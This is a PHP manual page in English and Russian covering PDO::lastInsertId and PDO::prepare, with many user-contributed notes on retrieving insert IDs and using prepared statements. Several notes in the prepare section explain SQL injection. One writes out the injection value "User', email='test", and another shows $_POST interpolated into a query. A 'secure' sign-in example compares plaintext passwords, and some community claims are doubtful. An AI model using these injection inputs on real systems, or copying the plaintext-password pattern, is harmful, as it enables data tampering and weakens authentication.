So it is important to call $dbh->lastInsertId();  before commiting transaction

the above should be modified as
print $dbh->lastInsertId();
$dbh->commit();
phackwer at gmail dot com 23-Jul-2018 07:41
On version 7.0.9 I've implemented lastInsertId without having to name the sequence for PostgreSQL (I've also have done it for 5.6.can'trememberthenumber, but I can't find the PR).

Can someone update the documentation about it?

Here is the Pull Request: https://github.com/php/php-src/pull/2014
toinenkayt (ta at ta) [iwonderr] gmail d 11-Dec-2017 12:26
To save time for some of you.

When using MySQL or MariaDB while inserting multiple rows in a single query (INSERT INTO table (a,b,c) VALUES (1,2,3), (2,3,4), ...) to a table with auto_increment column, PDO::lastInsertId does NOT return the autogenerated id of the last row. Instead, the FIRST generated id is returned. This may very well be explained by taking a look at MySQL and MariaDB's documentation.

Quotations from their respective documentations,

MySQL:
"With no argument, LAST_INSERT_ID() returns a BIGINT UNSIGNED (64-bit) value representing the first automatically generated value successfully inserted for an AUTO_INCREMENT column as a result of the most recently executed INSERT statement."

MariaDB:
"LAST_INSERT_ID() (no arguments) returns the first automatically generated value successfully inserted for an AUTO_INCREMENT column as a result of the most recently executed INSERT statement."

This is clearly not what lastInsertId's own documentation states. Hopefully this will save someone from debugging the cause of id mismatch.

tl;dr (MySQL | Mariadb) + multi row insert + PDO::lastInsertId = first autogenerated id

Behaviour tested using MariaDB 10.2.6 32-bit, PHP 5.6.31 32-bit and mysqlnd 5.0.11 running on windows 7.
timer timer five at gmail dot com 08-Feb-2017 05:26
About the connections created through classes

eg: db::SQL()->query();
then db::SQL()->lastInsertId();

it will create a new connection and will not return the last ID inserted. it is better to include a PDO connection file (or directly the logins) and work with it to get the last ID properly.

$db = new PDO(logins);
$db->query();
$db->lastInsertId();
enclaved 20-Dec-2016 11:23
WARNING for PostgreSQL users! In response to the comment by ed at hicklinslade dot com, who wrote:

...
$last_insert_id = $objPDO->lastInsertId("$strTable_id_seq);

This does appear to function as expected. What is a little unclear to me is whether this simply returns the current value of the sequence; if it does, this isn't a particularly reliable indicator as to the id of the record your code just inserted, especially if your site or application is especially high traffic.
...

NEVER ever use lastInsertId() with PostgreSQL sequences, ESPECIALLY when your application's insert/update load is high. PostgreSQL sequences are non-transactional (a natural design feature to avoid exclusive locking which otherwise produces unacceptable performance). This means that any concurrent transaction incrementing the same sequence will render the value returned by lastInsertId() invalid with respect to the last insert by your transaction. Example:

Transaction 1 inserts with nextval('some_seq') yielding 100;
Concurrent transaction 2 inserts with nextval('some_seq') yielding 101;
Transaction 1 calls lastInsertId(), expecting 100, BUT GETS 101.

This PDO method is braindead for PostgreSQL, always use INSERT ... RETURNING instead. Regards.
pippi langstrumpf 20-Jun-2016 12:18
beware when mixing auto-incremented and explicit IDs!
Given a fresh table "tbl", executing

insert into tbl values (0, 'kaeptn blaubaer'); --auto increment (-> 1)
insert into tbl values (16, 'pipi langstrumpf'); --explicit id (-> 16)
select LAST_INSERT_ID();

will return 1, which is not the value of the last insert. its the value from the last auto-increment insert!

(using mysql)
voilethht at gmail dot com 23-Sep-2015 08:49
In the Return Values part:

If the PDO driver does not support this capability, PDO::lastInsertId() triggers an IM001 SQLSTATE.
--------------------------------------------------------------------------------

So what's the solution for this....?
And I got this error:
-------------------------------------------------------------------------------
PHP Warning:  PDO::lastInsertId(): SQLSTATE[IM001]: Driver does not support this function: driver does not support lastInsertId() in xxxx
-------------------------------------------------------------------------------
I'm using IBM db2 odbc driver...
mattbridges at me dot com 07-Oct-2013 08:33
@nour

You need to call lastInsertId before you commit
nick dot barton at libersys dot co dot uk 02-Jan-2013 02:34
Easiest solution I've found for MSSQL to obtain the last inserted ID is

<?php
$STH = $DBH->query("SELECT CAST(COALESCE(SCOPE_IDENTITY(), @@IDENTITY) AS int)");
$STH->execute();
$result = $STH->fetch();
print $result[0];
?>
noel dot mcavoy at gmail dot com 13-Sep-2012 07:23
This function is now compatible with the newer MS SQL driver. http://msdn.microsoft.com/en-us/library/ff628155(v=sql.105)
spark at limao dot com dot br 22-Feb-2012 01:24
Remember, if you use a transaction you should use lastInsertId BEFORE you commit
otherwise it will return 0
warezthebeef at gmail dot com 29-Aug-2011 11:04
If you're accessing MSSQL/SQL Server 2008 R2 (or higher) from Linux via FreeTDS there's a slightly neater way of getting the last insert ID than the solution(s) outlined below.

The specific SQL involved is outlined here:

http://msdn.microsoft.com/en-us/library/ms177564.aspx

So for example, with a table containing the two columns (product_id, product_name) where product_id is a uniqueidentifier or something similar you could do the following.

<?php

// Assume $dbh connection handle is already established

$sql = "INSERT INTO product (product_name) OUTPUT INSERTED.product_id VALUES (?)";

$sth = $dbh->prepare($sql);

$sth->execute(array('widgets'));

$temp = $sth->fetch(PDO::FETCH_ASSOC);

?>

Then $temp will contain an array like:

Array
(
    [product_id] => E1DA1CB0-676A-4CD9-A22C-90C9D4E81914
)

Just be warned that there are some issues relating to how uniqueidentifier columns are handled by PDO_DBLIB/FreeTDS depending on the TDS version you choose that have only been fixed as of PHP 5.3.7.

Information regarding this and the patch can be found here:

https://bugs.php.net/bug.php?id=54167
ruben02 at hotmail dot com 24-Feb-2011 07:48
I think I get a nice solution in Postgres to get the ID using the RETURNING that comes with Postgress since version 8.2. In the example below, I add to my insert clause the "returning" along with the primary key of my table, then after the execute, I do a fetch getting an array with the value of the last inserted id.

<?php
    public function insert($employee){

        $sqlQuery = "INSERT INTO employee(user_id,name,address,city) VALUES(:user_id,:name,:address,:city) RETURNING employee_id";

        $statement = $this->prepare($sqlQuery);

        $a ="2002-03-11 12:01AM" ;

        $statement->bindParam(":user_id", $employee->getUserId(), PDO::PARAM_INT);
        $statement->bindParam(":name", $employee->getName(), PDO::PARAM_STR);
        $statement->bindParam(":address", $employee->getAddress(), PDO::PARAM_STR);
        $statement->bindParam(":city", $employee->getCity(), PDO::PARAM_STR);
        $statement->execute();

        $result = $statement->fetch(PDO::FETCH_ASSOC);
        return $result["employee_id"];

    }
?>
info at nospam dot timreeves dot de 11-Dec-2008 12:03
Workaround for the fact that MSSQL does not provide lastInsertId().  This is locale-independent by design.

<?php
$mixRc = false;
try {
    // Issue a compound command, 2nd part outputs the inserted Id
    $strQuery =
    'INSERT INTO t1 (f1,f2) VALUES(v1,v2); SELECT @@IDENTITY AS mixLastId';
    // Yup, your eyes are ok, NOT exec but query!!!
    $objSth = $objDb->query($strQuery);
    $mixRc = (is_object($objSth) and $objSth->errorCode() == '00000');
}
catch (PDOException $objException) {
    $pdoMsg = $objException->getMessage();
    $pdoMsg = iconv("ISO-8859-1", "UTF-8", $pdoMsg);
    $strMessage = 'insertRecord: Failed ' .
                  $strQuery . ', Error Message: ' . $pdoMsg;
    doLog(__FILE__, __LINE__, $strMessage);
    throw new core_exception_database($strMessage);
}
if ($mixRc === false) return false;

// The compound command delivers a multi-rowset statement handle
// Move past the first (invalid) rowset from the INSERT command
$objSth->nextRowset();
// Pick up the first row of the rowset from "SELECT @@IDENTITY"
$rowTd = $objSth->fetch(PDO::FETCH_NUM);
if (!is_array($rowTd)) {
    doLog(__FILE__, __LINE__,
        'insertRecord: $objSth->fetch() returns %s', gettype($rowTd));
    return false;
}
$objSth->closeCursor();
$strLastRowId = trim($rowTd[0]); // trim() for trailing Nullbyte
// Integers are returned stringified, format depends on locale
// Generally ends with ",00" or ".00" - trim that off
$strLastRowId = preg_replace('/[,.]0+$/', '', $strLastRowId);
// Remove any remaining "." or "," for thousands
$strLastRowId = preg_replace('/[,.]/', '', $strLastRowId);
// A GUID, which contains no "," or ".", will be left unchanged
return $strLastRowId;
?>
Alfred Reinold Baudisch 06-Oct-2008 05:21
For PostgreSQL you can still use the old solution to return the last Id of an INSERT, selecting the currval of a table's id_sequence.

The code below shows a working function (which is easy adaptale into another class, etc).

<?php
// -------------------------
// Last Insert ID for PDO with PostgreSQL
// -------------------------
function pgsqlLastInsertId($sqlQuery, $pdoObject)
{
    // Checks if query is an insert and gets table name
    if( preg_match("/^INSERT[\t\n ]+INTO[\t\n ]+([a-z0-9\_\-]+)/is", $sqlQuery, $tablename) )
    {
        // Gets this table's last sequence value
        $query = "SELECT currval('" . $tablename[1] . "_id_seq') AS last_value";

        $temp_q_id = $pdoObject->prepare($query);
        $temp_q_id->execute();

        if($temp_q_id)
        {
            $temp_result = $temp_q_id->fetch(PDO::FETCH_ASSOC);
            return ( $temp_result ) ? $temp_result['last_value'] : false;
        }
    }

    return false;
}

?>

Example of use:

<?php
// ... connects to a PostgreSQL DB
$pdoObject = new PDO('pgsql:host=localhost;dbname=mydb', 'user', 'pass');

$sql = 'INSERT INTO table (column) VALUES (\'some_value\');';
$result = $pdoObject->prepare($sql);
$result->execute();

echo 'Last Insert ID: ' . pgsqlLastInsertId($sql, $pdoObject);

?>
Nour 15-Aug-2008 02:49
Beware of lastInsertId() when working with transactions in mysql. The following code returns 0 instead of the insert id.

<?php
try {
    $dbh = new PDO('mysql:host=localhost;dbname=test', 'username', 'password');

    $stmt = $dbh->prepare("INSERT INTO test (name, email) VALUES(?,?)");

    try {
        $dbh->beginTransaction();
        $tmt->execute( array('user', 'user@example.com'));
        $dbh->commit();
        print $dbh->lastInsertId();
    } catch(PDOExecption $e) {
        $dbh->rollback();
        print "Error!: " . $e->getMessage() . "</br>";
    }
} catch( PDOExecption $e ) {
    print "Error!: " . $e->getMessage() . "</br>";
}
?>

When no exception is thrown, lastInsertId returns 0. However, if lastInsertId is called before calling commit, the right id is returned.
ed at hicklinslade dot com 26-May-2008 09:05
In response to Yonatan Ben-Nes, it does appear that using the latest versions of PHP 5.x and PostgreSQL 8.x, the driver will return a "meaningful" ID (rather than an OID), provided you pass the name of the corresponding sequence.

So, if you created a table as follows:

CREATE TABLE "user" (
"id" SERIAL PRIMARY KEY NOT NULL,
"username" character varying(32)
);

PostgreSQL will (by default) create a sequence called 'user_id_seq'.

You can then do something like:

$strTable = "user":
$last_insert_id = $objPDO->lastInsertId("$strTable_id_seq);

This does appear to function as expected. What is a little unclear to me is whether this simply returns the current value of the sequence; if it does, this isn't a particularly reliable indicator as to the id of the record your code just inserted, especially if your site or application is especially high traffic.
Xavier Arnaus 15-May-2008 10:28
As said by Dennis Du Kroger, in this situation the function will return 0.

But you can retrieve the last inserted Id executing a query asking for the function LAST_INSERT_ID() (at least in MySQL)

Try this:

($o_db is the declared adapter)

$last_id = $o_db->fetchAll('SELECT LAST_INSERT_ID() as last_id');

$last_id = intval($last_id[0]['last_id']);
Steven L 13-May-2008 12:47
This function is not available for MSSQL either.
Yonatan Ben-Nes 17-May-2007 09:05
It should be mentioned that this function DOES NOT retrieve the ID (Primary key) of the row but it's OID instead.

So if you use one of the latest PostgreSQL versions this function won't help you unless you add OID to the table specifically when you create it.
Dennis Du Kroger 22-Jan-2007 02:40
It should be noted that, at least for MySQL using InnoDB tables, with transactions PDO will report the last insert id as 0 after the commit, the real ids are only reported before committing.

(As a side note, MySQL keeps the ID number incremented after a rollback).
dave at dtracorp dot com 18-Aug-2006 05:34
in case anyone was wondering
something like

$val = 5;
$sql = "REPLACE table (column) VALUES (:val)";
$stmt = $dbh->prepare($sql);
$stmt->bindParam(':val', $val, PDO::PARAM_INT);
$stmt->execute();
$lastId = $dbh->lastInsertId();

will return the last inserted id, whether the record was replaced or simply inserted

the REPLACE syntax, simply inserts, or deletes > inserts
so lastInsertId() still works

refer to http://mysql.com/doc/refman/5.0/en/replace.html
for REPLACE usage
opik at opik dot ru 20-Dec-2005 06:10
Simple example:
<?php
try {
   $dbh = new PDO('mysql:host=localhost;dbname=test', 'root', 'passowd');

   $smf = $dbh->prepare("INSERT INTO test (`numer`) VALUES (?)");

   $a = mt_rand(1, 100);
   $smf->bindParam(1, $a, PDO::PARAM_INT);
   $smf->execute();
   print $dbh->lastInsertId().'<br />';

   $a = mt_rand(1, 100);
   $smf->bindParam(1, $a, PDO::PARAM_INT);
   $smf->execute();
   print $dbh->lastInsertId();

   $dbh = null;
} catch (PDOException $e) {
   print "Error!: " . $e->getMessage() . "<br/>";
   die();
}
?>


Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект

  • « PDO::lastInsertId
  • PDO::query »
  • PHP Manual
  • PDO
  • Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект

PDO::prepare

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PHP 8,PECL pdo >= 0.1.0)

PDO::prepare — Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект

Описание

public PDO::prepare(string $query, array $options = []): PDOStatement|false

Подготавливает SQL-запрос к базе данных к запуску посредством метода PDOStatement::execute(). Запрос может содержать именованные (:name) или неименованные (?) псевдопеременные, которые будут заменены реальными значениями во время запуска запроса на выполнение. Использовать одновременно и именованные, и неименованные псевдопеременные в одном запросе нельзя, необходимо выбрать что-то одно. Используйте псевдопеременные, чтобы привязать к запросу пользовательский ввод, не включайте данные, введённые пользователем, напрямую в запрос.

Вы должны подбирать уникальные имена псевдопеременных для каждого значения, которое необходимо передавать в запрос при вызове PDOStatement::execute(). Нельзя использовать одну псевдопеременную в запросе более одного раза, кроме варианта, когда включён режим эмуляции.

Замечание:

Псевдопеременные должны представлять только единичный объем данных. Ни часть значения, ни служебное слово, ни имя поля, ни какую-либо произвольную часть запроса. К примеру, вы не можете связать псевдопеременную с несколькими значениями для вставки в конструкцию IN().

Вызов PDO::prepare() и PDOStatement::execute() для запросов, которые будут запускаться многократно с различными параметрами, повышает производительность приложения, позволяя драйверу кешировать на клиенте и/или сервере план выполнения запроса и метаданные, а также помогает избежать SQL-инъекций, так как нет необходимости экранировать передаваемые параметры.

Если драйвер не поддерживает подготавливаемые запросы, PDO умеет их эмулировать, а также может заменять псевдопеременные на то, что больше подходит, если, например, драйвер поддерживает только именованные или, наоборот, только неименованные псевдопеременные.

Замечание: Синтаксический анализатор, используемый для эмулируемых подготовленных операторов и для перезаписи именованных параметров или параметров стиля вопросительного знака, поддерживает нестандартные обратные слеши для одинарных и двойных кавычек. Это означает, что завершающие кавычки, непосредственно предшествующие обратной косой черте, не распознаются как таковые, что может привести к неправильному обнаружению параметров, что приведёт к сбою подготовленного оператора при его выполнении. Обходной путь — не использовать эмулированную подготовку к таким SQL-запросам и избегать перезаписи параметров, используя стиль параметров, который изначально поддерживается драйвером.

Начиная с PHP 7.4.0, можно избежать экранирования вопросительных знаков, удвоив их. Это означает, что строка ?? будет преобразована в ? при отправке запроса в базу данных.

Список параметров

query

Это должен быть корректный SQL-запрос с точки зрения целевой СУБД.

options

Этот массив содержит одну или более пар ключ=>значение для установки значений атрибутов объекта PDOStatement, который будет возвращён из этого метода. В основном, вы будете использовать этот массив для присвоения значения PDO::ATTR_CURSOR атрибуту PDO::CURSOR_SCROLL, чтобы получить прокручиваемый курсор. У некоторых драйверов могут быть свои специфические настройки, которые можно задать во время подготовки запроса.

Возвращаемые значения

Если СУБД успешно подготовила запрос, PDO::prepare() возвращает объект PDOStatement. Если подготовить запрос не удалось, PDO::prepare() возвращает false или выбрасывает исключение PDOException (зависит от текущего режима обработки ошибок).

Замечание:

Эмулируемые подготовленные запросы не создаются на сервере баз данных, поэтому PDO::prepare() не может проверить правильность построенного запроса.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Подготовка SQL-запроса с именованными параметрами

<?php
/* Выполнение запроса с передачей ему массива параметров */
$sql = 'SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour = :colour';
$sth = $dbh->prepare($sql, [PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY]);
$sth->execute(['calories' => 150, 'colour' => 'red']);
$red = $sth->fetchAll();
/* Ключи массива также могут начинаться с двоеточия ":" (необязательно) */
$sth->execute([':calories' => 175, ':colour' => 'yellow']);
$yellow = $sth->fetchAll();
?>

Пример #2 Подготовка SQL-запроса с неименованными параметрами (символ '?')

<?php
/* Выполнение запроса с передачей ему массива параметров */
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < ? AND colour = ?');
$sth->execute([150, 'red']);
$red = $sth->fetchAll();
$sth->execute([175, 'yellow']);
$yellow = $sth->fetchAll();
?>

Пример #3 Подготовка SQL-запроса с экранированным вопросительным знаком

<?php
/* замечание: работает только с базами данных PostgreSQL */
$sth = $dbh->prepare('SELECT * FROM issues WHERE tag::jsonb ?? ?');
$sth->execute(['feature']);
$featureIssues = $sth->fetchAll();
$sth->execute(['performance']);
$performanceIssues = $sth->fetchAll();
?>

Смотрите также

  • PDO::exec() - Выполняет SQL-запрос и возвращает количество затронутых строк
  • PDO::query() - Подготавливает и выполняет выражение SQL без заполнителей
  • PDOStatement::execute() - Запускает подготовленный запрос на выполнение

User Contributed Notes

theking2 at king dot ma 21-Jan-2023 01:42
There are restrictions on the placeholder string. In the following code the first execute fails with a SQLSTATE[HY093]. It is not clear exactly what characters are allowed.

<?php declare(strict_types=1);

$db = new \PDO("mysql:hostname=localhost;dbname=minidwh", "minidwh", "Meisterstueck!");
$db->query("SET NAMES 'utf8mb4'");

$db->query("DROP TABLE IF EXISTS `aeiou?`");
$db->query("CREATE TABLE `aeiou?` ( `id` INT NOT NULL AUTO_INCREMENT, PRIMARY KEY (`id`) ) ENGINE = ARIA;");
$db->query("ALTER TABLE `aeiou?` ADD COLUMN `aeiou?` TEXT NULL");
try {
  $stmt = $db->prepare("INSERT INTO `aeiou?` (`aeiou?`) VALUES (:aeiou?)");
  $result = $stmt->execute([':aeiou?' => 'test1']);
} catch (\PDOException $e) {
  echo $e->getMessage() . '<BR>';
}

try {
  $stmt = $db->prepare("INSERT INTO `aeiou?` (`aeiou?`) VALUES (?)");
  $result = $stmt->execute(['test2']);
} catch (\PDOException $e) {
  echo $e->getMessage() . '<BR>';
}

try {
  $stmt = $db->prepare("INSERT INTO `aeiou?` (`aeiou?`) VALUES (:column)");
  $result = $stmt->execute([':column' => 'test3']);
} catch (\PDOException $e) {
  echo $e->getMessage() . '<BR>';
}

try {
  $stmt = $db->prepare("INSERT INTO `aeiou?` (`aeiou?`) VALUES (:column)");
  $stmt->bindValue(':column', 'test4');
  $result = $stmt->execute();
} catch (\PDOException $e) {
  echo $e->getMessage() . '<BR>';
}
omidbahrami1990 at gmail dot com 06-Dec-2017 10:09
This Is A Secure Way To Sign in With pdo::prepare
--------------------------------------------------------
<?php
function secured_signin($username,$password)
{
try
{
$connection = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbusername, $dbpassword);
$connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$prepared = $connection->prepare("SELECT COUNT(`username`) FROM `users` WHERE `username` = :bp_username AND `password` = :bp_password ; ");
$prepared->bindParam(':bp_username', $username);
$prepared->bindParam(':bp_password', $password);
$prepared->execute();

if ($prepared->fetchColumn() == 1)
$result=true;

else
$result=false;
}

catch(PDOException $x) { die("Secured"); }

$prepared = null;
$connection = null;

return $result;
}
/*
$dbhost ---> DataBase IP Address
$dbusername ---> DataBase Username
$dbpassword ---> DataBase Password
$dbname ---> DataBase Name
*/
?>
machitgarha at outlook dot com 14-Jul-2017 06:32
Hello everyone.

I want to note that it doesn't matter where you are using a variable inside the query directly, that is not secure against SQL injections (unless performing a long security operation).

The following example is insecure against SQL injections:

<?php

$statement = $databaseConnection->prepare("SELECT * FROM `$_POST['table']` WHERE $_POST['search_for']=:search");
$statement->bindParam(":search", $search);
$search = 18; // For example
$statement->execute();

?>

If an attacker pass '1;-- ' as input named 'search_for', he is not a very bad attacker; because he didn't delete your data! In the above example, an attacker can do anything with connected database (unless you have restricted the connected user). Unfortunately, as Simon Le Pine mentioned, you cannot use prepared statements as other parts of a query; just can be used to search in indexes.

Hope this helps from loosing some data.
Sorry for my a bit weak English!
Mark Simon 11-Apr-2017 11:27
Many students are tempted to add single quotes around string place holders in the SQL statement, since that's what they normally do around strings in SQL and PHP.

I have to explain:

Quotes are not part of the string — they are used to construct a string in the coding language. If you are creating a string literal in SQL or PHP, then it must indeed be quoted. If the string has already been created, and is being passed on, then additional quotes would be wrong at best, and mis-interpreted at worst.

In prepared place holders, think of place holders as variables, which, whether they are strings or other values, are always written without quotes.
chatelain dot cedric dot pro at gmail dot com 11-Mar-2015 11:24
you can't use CREATE DATABASE with prepared statement.

$sql = $conn->prepare("DROP DATABASE IF EXISTS :dbname ;",
                    array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));
            $sql->execute(array(':dbname' => $dbname));

This will not work.
Anyone has an explanation ?
jesse dot chisholm at gmail dot com 24-Nov-2014 04:17
@Simon Le Pine

Be aware that:

$search = "user";
$sth = db->prepare("SELECT * FROM users WHERE $search=:email");

and

$search = "email";
$sth = db->prepare("SELECT * FROM users WHERE $search=:email");

will produce two totally different prepared statements.

Doing this _will not work_:

$search = "user";
$sth = db->prepare("SELECT * FROM users WHERE $search=:email");
$sth->execute(array(email=>"yada"));
$search = "email";
$sth->execute(array(email=>"yada@ya.da"));
bg at enativ dot com 12-Mar-2014 03:11
if you run queries in a loop, don't include $pdo->prepare() inside the loop, it will save you some resources (and time).

prepare statement inside loop:
for($i=0; $i<1000; $i++) {
    $rs = $pdo->prepare("SELECT `id` FROM `admins` WHERE `groupID` = :groupID AND `id` <> :id");
    $rs->execute([':groupID' => $group, ':id' => $id]);
}

// took 0.066626071929932 microseconds

prepare statement outside loop:
$rs = $pdo->prepare("SELECT `id` FROM `admins` WHERE `groupID` = :groupID AND `id` <> :id");
for($i=0; $i<1000; $i++) {
    $rs->execute([':groupID' => $group, ':id' => $id]);
}

// took 0.064448118209839 microseconds

for 1,000 (simple) queries it took 0.002 microseconds less.
not much, but it worth mention.
pbakhuis 29-Jan-2014 03:42
Noteworthy in my opinion is that if you prepare a statement but do not bind a value to the markers it will insert null by default. e.g.
<?php
/** @var PDO $db */
$prep = $db->prepare('INSERT INTO item(title, link) VALUES(:title, :link)');
$prep->execute();
?>
Will attempt to insert null, null into the item table.
php dot chaska at xoxy dot net 05-Jul-2013 08:04
Note that for Postgres, even though Postgres does support prepared statements, PHP's PDO driver NEVER sends the prepared statement to the Postgres server in advance of the call to PDO::execute().

Therefore, PDO::prepare() will never throw an error for things like faulty SQL syntax.

It also means the server will not parse and plan the SQL until the first time PDO::execute() is called, which may or may not adversely affect your optimization plans.
Hayley Watson 27-May-2013 01:22
It is possible to prepare in advance several statements against a single connection. As long as that connection remains open the statements can be executed and fetched from as often as you like in any order; their "prepare-execute-fetch" steps can be interleaved in whichever way is best.

So if you're likely to be using several statements often (perhaps within a loop of transactions), you may like to consider preparing all the statements you'll be using up front.
Anonymous 18-Apr-2013 05:23
To those wondering why adding quotes to around a placeholder is wrong, and why you can't use placeholders for table or column names:

There is a common misconception about how the placeholders in prepared statements work: they are not simply substituted in as (escaped) strings, and the resulting SQL executed. Instead, a DBMS asked to "prepare" a statement comes up with a complete query plan for how it would execute that query, including which tables and indexes it would use, which will be the same regardless of how you fill in the placeholders.

The plan for "SELECT name FROM my_table WHERE id = :value" will be the same whatever you substitute for ":value", but the seemingly similar "SELECT name FROM :table WHERE id = :value" cannot be planned, because the DBMS has no idea what table you're actually going to select from.

Even when using "emulated prepares", PDO cannot let you use placeholders anywhere, because it would have to work out what you meant: does "Select :foo From some_table" mean ":foo" is going to be a column reference, or a literal string?

When your query is using a dynamic column reference, you should be explicitly white-listing the columns you know to exist on the table, e.g. using a switch statement with an exception thrown in the default: clause.
Kjetil H 28-Mar-2013 09:44
Please note that the correct internal method signature is:
<?php public function prepare ($statement, $driver_options = array()) ?>

and NOT:
<?php public function prepare ($statement, array $driver_options = array()) ?>.

Redeclaring the method using the latter method signature throws a Stricts Standards error.
Simon Le Pine 21-Feb-2013 05:35
Hi All,

First time posting to php.net, a little nervous.

After a bunch of searching I've learned 2 things about prepared statements:
1.) It fails if you enclose in a single quote (')
This fails: "SELECT * FROM users WHERE email=':email'"
This works: "SELECT * FROM users WHERE email=:email"
2.) You cannot search with a prepared statement
This fails: "SELECT * FROM users WHERE :search=:email"
This succeeds: "SELECT * FROM users WHERE $search=:email"

In my case I allow the user to enter their username or email, determine which they've entered and set $search to "username" or "email". As this value is not entered by the user there is no potential for SQL injection and thus safe to use as I have done.

Hope that saves someone else from a lot of searching.
orrd101 at gmail dot com 30-Apr-2012 12:46
Don't just automatically use prepare() for all of your queries.

If you are only submitting one query, using PDO::query() with PDO::quote() is much faster (about 3x faster in my test results with MySQL).  A prepared query is only faster if you are submitting thousands of identical queries at once (with different data).

If you Google for performance comparisons you will find that this is generally consistently the case, or you can write some code and do your own comparison for your particular configuration and query scenario. But generally PDO::query() will always be faster except when submitting a large number of identical queries.  Prepared queries do have the advantage of escaping the data for you, so you have to be sure to use quote() when using query().
public at grik dot net 07-Mar-2012 12:23
With PDO_MYSQL you need to remember about the PDO::ATTR_EMULATE_PREPARES option.

The default value is TRUE, like
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,true);

This means that no prepared statement is created with $dbh->prepare() call. With exec() call PDO replaces the placeholders with values itself and sends MySQL a generic query string.

The first consequence is that the call  $dbh->prepare('garbage');
reports no error. You will get an SQL error during the $dbh->exec() call.
The second one is the SQL injection risk in special cases, like using a placeholder for the table name.

The reason for emulation is a poor performance of MySQL with prepared statements. Emulation works significantly faster.
pascal dot buguet at laposte dot net 31-Aug-2010 05:11
PDO::CURSOR_SCROLL is ok with MSS.
You must install SQL Server Driver for PHP 2.0 CTP2 : SQLSRV20.EXE
and  the native client "Microsoft SQL Server 2008 R2 Native Client" : sqlncli.msi.
Robin 04-Mar-2010 05:01
Use prepared statements to ensure integrity of binary data during storage and retrieval. Escaping/quoting by f.e. sqlite_escape_string() or PDO::quote() is NOT suited for binary data - only for strings of text.

A simple test verifies perfect storage and retrieval with prepared statements:

<?php

$num_values = 10000;

$db = new pdo( 'sqlite::memory:' );

$db->exec( 'CREATE TABLE data (binary BLOB(512));' );

// generate plenty of troublesome, binary data
for( $i = 0; $i < $num_values; $i++ )
{
    for( $val = null, $c = 0; $c < 512/16; $c++ )
        $val .= md5( mt_rand(), true );
    @$binary[] = $val;
}

// insert each value by prepared statement
for( $i = 0; $i < $num_values; $i++ )
    $db->prepare( 'INSERT INTO data VALUES (?);' )->execute( array($binary[$i]) );

// fetch the entire row
$data = $db->query( 'SELECT binary FROM data;' )->fetchAll( PDO::FETCH_COLUMN );

// compare with original array, noting any mismatch
for( $i = 0; $i < $num_values; $i++ )
    if( $data[$i] != $binary[$i] ) echo "[$i] mismatch\n";

$db = null;

?>
sgirard at rossprint dot com 29-Oct-2009 03:15
Maybe everyone else already knows this but...

If you have a routine that prepares/executes many insert or update statements for a sqlite db then you may want to make use of the pdo transactions.

On some old hardware my query set went from 12 seconds to 1/3-1/2 second.

-sean
richard at codevanilla.com 11-Sep-2009 04:44
beware
PDO will emulate prepared statements/bound parameters for drivers that do not natively support them, and can also rewrite named or question mark style parameter markers to something more appropriate, if the driver supports one style but not the other.

This includes mySQL it seems so

<?php
try{
        $sth1 = $this->db1->prepare($t1, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));

        }
        catch(PDOException $e){
                return $this->pack('dbError', $e->getMessage());
        }
?>

does not and so will not throw the exception if your SQL is wrong.

You will need to check that $sth1 is not null.
daniel dot egeberg at gmail dot com 24-May-2009 01:06
You can also pass an array of values to PDOStatement::execute(). This is also secured against SQL injection. You don't necessarily have to use bindParam() or bindValue().
admin at wdfa dot co dot uk 09-Apr-2009 09:52
Note on the SQL injection properties of prepared statements.

Prepared statements only project you from SQL injection IF you use the bindParam or bindValue option.

For example if you have a table called users with two fields, username and email and someone updates their username you might run

UPDATE `users` SET `user`='$var'

where $var would be the user submitted text.

Now if you did
<?php
$a=new PDO("mysql:host=localhost;dbname=database;","root","");
$b=$a->prepare("UPDATE `users` SET user='$var'");
$b->execute();
?>

and the user had entered  User', email='test for a test the injection would occur and the email would be updated to test as well as the user being updated to User.

Using bindParam as follows
 <?php
$var="User', email='test";
$a=new PDO("mysql:host=localhost;dbname=database;","root","");
$b=$a->prepare("UPDATE `users` SET user=:var");
$b->bindParam(":var",$var);
$b->execute();
?>

The sql would be escaped and update the username to User', email='test'
ak_9jsz 18-May-2008 10:16
Using cursors doesn't work with SQLite 3.5.9. I get an error message when it gets to the execute() method.

Some of you might be saying "duh!" but i was surprised to see TRIGGER support in SQLite, so i had to try. :)

I wanted to use Absolute referencing on a Scrollable cursor and i only wanted one column of data. So i used this instead of a cursor.

<?php

$dbo = new PDO('sqlite:tdb');
$sql = 'SELECT F1, F2 FROM tblA WHERE F1 <> "A";';
$res = $dbo->prepare($sql);
$res->execute();
$resColumn = $res->fetchAll(PDO::FETCH_COLUMN, 0);

for($r=0;$r<=3;$r++)
    echo 'Row '. $r . ' returned: ' . $resColumn[$r] . "\n";

$dbo = null;
$res = null;
?>
www.onphp5.com 07-Apr-2007 06:41
Please note that the statement regarding driver_options is misleading:

"This array holds one or more key=>value pairs to set attribute values for the PDOStatement object that this method returns. You would most commonly use this to set the PDO::ATTR_CURSOR value to PDO::CURSOR_SCROLL to request a scrollable cursor. Some drivers have driver specific options that may be set at prepare-time"

From this you might think that scrollable cursors work for all databases, but they don't! Check out this bug report:
http://bugs.php.net/bug.php?id=34625
johniskew 22-Feb-2007 08:03
If you need to create variable sql statements in a prepare statement...for example you may need to construct a sql query with zero, one, two, etc numbers of arguments...here is a way to do it without a lot of if/else statements needed to glue the sql together:

<?php

    public function matchCriteria($field1=null,$field2=null,$field3=null) {
        $db=DB::conn();
        $sql=array();
        $paramArray=array();
        if(!empty($field1)) {
            $sql[]='field1=?';
            $paramArray[]=$field1;
        }
        if(!empty($field2)) {
            $sql[]='field2=?';
